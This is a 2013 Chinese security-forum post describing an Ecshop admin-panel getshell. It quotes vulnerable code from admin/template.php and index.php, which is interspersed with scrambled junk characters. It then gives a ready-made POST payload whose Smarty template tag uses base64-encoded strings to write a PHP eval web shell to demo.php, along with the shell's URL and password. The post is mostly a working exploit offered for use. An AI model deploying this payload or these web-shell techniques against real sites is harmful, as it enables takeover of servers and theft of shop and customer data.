找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2419|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* w1 Q9 Q2 I: s6 J5 r4 X1 p/ {1 H' ?, i! L+ o$ S7 b
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
+ q' ~4 T. ^2 t6 l' {% v但是ecshop似乎不支持{php}{/php}这个标签来执行php代码3 C- Z9 t* ~7 D/ J7 p/ ^% z1 i
admin/template.php
4 C' F/ c& j6 ^2 p1 c, G4 T% B# y- S) m. y! r
1 if ($_REQUEST['act'] == 'update_library') & d8 _5 q) k" J5 r3 s

* B  A6 A. B/ ~: Y$ w2   
- c% q/ Z1 q4 Z1 a5 I/ o
6 L8 _0 T1 u5 y7 j! f0 t3 Q" j3 {
! X4 B3 n/ M1 ^: _$ ]" I) o# C* q7 \( y! e! I6 b+ E
4     check_authz_json('library_manage');
  u7 L0 @4 W- k- @  W% F! e7 I; E# {/ f
5   
4 @% f7 i  n! V5 O. G% R
. g/ \$ l0 r7 y; |5 r6     $html = stripslashes(json_str_iconv($_POST['html']));
! o9 n: x3 T0 e
! y2 R: |7 u" D6 a& l) k4 c. e7   
8 ?0 a: J4 X8 ~5 D+ M
8 D+ D& Z- o  j3 H8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件   O7 e$ S( z1 z8 z5 V% Z

3 {3 f( ~+ I# i1 F# |( ?" ?: z/ ~9   ) h: [& i: i7 \
( s/ o1 K/ m! x' P# o* E) {% n$ q
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% G1 ?' V! V, h: E8 b; W3 M% n7 X5 z1 D- N6 f
11   & _0 l+ M! Y; V6 q2 O* d5 L4 y
* l, z: t; X: o* A/ p) }! [8 g  Q) a
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); " `' h5 {( O* D
( y. O6 P/ m3 Y) Y; H" i4 v) G0 A
13   6 k/ G# m# g0 K5 E4 C

  d1 X& e! R7 P$ f14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ( A; M# @+ x  Z/ K
* I3 e5 Q: f6 }! L6 ?
15     {
1 Q1 ^% ^1 j; Y' ]( x: d3 n4 Q/ A4 o7 ?. r! Y- A
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  L3 n& H# F, \( d8 _# W) _9 g# [7 G' `$ K+ i/ @9 V
17         make_json_result('', $_LANG['update_lib_success']);
4 t0 D$ ^3 Y/ G8 W+ t8 Z. _5 b- Z5 w. f( P
18     } ' a# T6 T; I2 B
. _- F+ F6 c% Y! O# d( R4 X
19     else
0 r3 t7 e. X) g- x- L8 x5 k
" p& b3 H( |( ]; c20     { 0 M! X8 m* I$ [# p! q& r3 b

9 i" r7 M9 {+ b$ v4 t7 Z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); : I+ Y/ ~3 J; A# _2 |- F, z! u9 H

1 D7 i1 }8 ^, ?! x22     } 2 L) o6 b& R0 h% v* \  q

8 F& E0 L8 }) I  P$ H23 }
3 \( |4 L* f* [! J- A1 c/ T2 P) n0 s
; y4 F# T! r8 m0 C' b' p那么找个比较方便调用了模板的文件
9 ?6 n5 M2 Q, F6 C8 W( d" E1 Rindex.php
& o- }4 m) T% ]% i# e( x# ?) K, v' T# E9 f/ h
1 if ($act == 'cat_rec')
& J( i7 |( ~7 C2 X% {8 a% p; B0 W! k* t2 e) h9 U- {( j9 G; j
2   
" d. a( _6 o) O' G9 J7 t
5 I* b, k7 {) ~2 I6 }3 {
" i3 y7 U/ A) @1 T% C/ E
+ ~7 U, N. B9 X. e' h& k- v4   
. ?; |  A/ w! B+ Y& Y. u8 J0 R
5 ^4 A  x. n. j: E- ^5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); : N6 ?. ~2 U. L0 B
2 D$ ~' P" y; v9 l) G. `+ W2 B
6   
4 A1 h! Q5 h' o7 h, h* A6 E  i& ~( C9 ?3 n2 z) P
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; $ q+ _- o* ?' v! u- b5 p: o; N! q
; g6 r1 M3 g4 `2 W5 ~
8   6 @8 r. T& B8 }# G# u# C

1 {; Q: P4 E3 C1 S0 z  N! O9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 Z5 v. N1 ]; Q' M9 C' f% z
$ V# P7 Z9 k0 E0 ~2 n% R% S1 k% g9 \10   
; K) T/ W5 F5 P3 ~+ }7 [# i/ C) }1 o- K6 Y
11     include_once('includes/cls_json.php');
: l$ n5 h. G& N5 l( g
5 Y4 D2 G* z, e& C; i+ S$ l. C12   
( Q/ S" y: @, u- d( H, l* J
# J* }3 U8 f: x2 T13     $json = new JSON; ; v+ p8 d2 W, H7 z

# \+ A; |( Z) @( D7 g" A14   
' P9 e5 ~- x* a, h- x$ ^+ H( e: b
! B0 ]/ Z4 y) M: y* [15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ; R" l% h4 T2 d5 ^0 Y( i* e: {- a

) t0 o# ^2 U0 n7 H( a. E16   / E3 }* E+ w' B) Q

+ m/ G0 e8 Q5 S' M% V17     $children = get_children($cat_id); & ]" c$ I# K/ b3 j! ^. v: \: ]

6 Q+ Y: o6 t* m4 C/ q0 g18   % g& C2 G6 E9 k8 N3 T6 c, H
5 k9 R, u1 ?- c7 v6 K! W' u
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 , [4 K! m" y( p$ d3 k) ~6 w# N

+ ?' T6 X! S' @/ |0 @+ k20   7 R- N. _# G( f1 Q# }2 O2 y  k

( K2 I. e7 p, J- E% ]21     $smarty->assign('cat_rec_sign', 1); ( g$ ], x: Y2 B% ^0 ]
4 O! W: g2 o( m/ J) H
22   
1 X# V% j+ b8 a- N- C. t" U2 g2 _. _6 w( C: z
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ T  p' ?0 Q8 f8 I4 l* p) D* \6 I% a& ^" Z
24   . I/ \0 x' f& \7 f

9 `: S& p5 N- s6 z9 @0 k25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ' z' g0 y2 ]- ~3 n  s
3 u0 H6 H& K& c3 u' }, u7 [& p2 `7 F
26   
* G4 I. [5 a" J3 ?9 G8 s$ }( \& I6 o! f, ?0 Y( |/ ~* L6 s% c* {
27         echo $rec_array[$rec_type];
3 Z$ e7 f& l3 x4 J" E6 a" |7 w4 w* [, J) P$ I! q; f& W. H* C
28   ( y6 w' p) \7 D! J
5 i/ S8 h# \% d) r9 ~
29     die($json->encode($result)); ( K* R" A6 G) R
, B3 W' b0 n. k- O9 \
30   
% i7 c. ]$ [6 |+ r# @* M$ n, t9 l2 b# m8 z+ V% }  x# Q
31 }
) `2 ?; w( Z4 R# z& E/ L" b: @+ v. t/ Y+ a# H" r& M
那么就有利用方法了
, V$ B9 T- X  _! A- Xpost包到http://localhost/ec/admin/template.php?act=update_library
" A$ g  b, Q# M% Q, ^) LPost内容:
0 P' w. j" `) Q1 `, m4 u2 X  P5 o3 F2 M+ @7 E% ], |' T: k4 s8 a
# C! e$ s, l1 e
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ' e* I* j4 m, S9 R* M% h
, m/ \) y$ {2 @
然后访问http://localhost/ec/index.php?act=cat_rec
6 u, W: L7 [; d: a: [( A4 ?
1 B0 n7 _9 |6 [shel地址:http://localhost/ec/demo.php
! L  g4 m' N5 g$ S% V' _6 e密码c+ E- q' C+ R6 A

! e; U2 u3 P6 |9 y+ D; P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表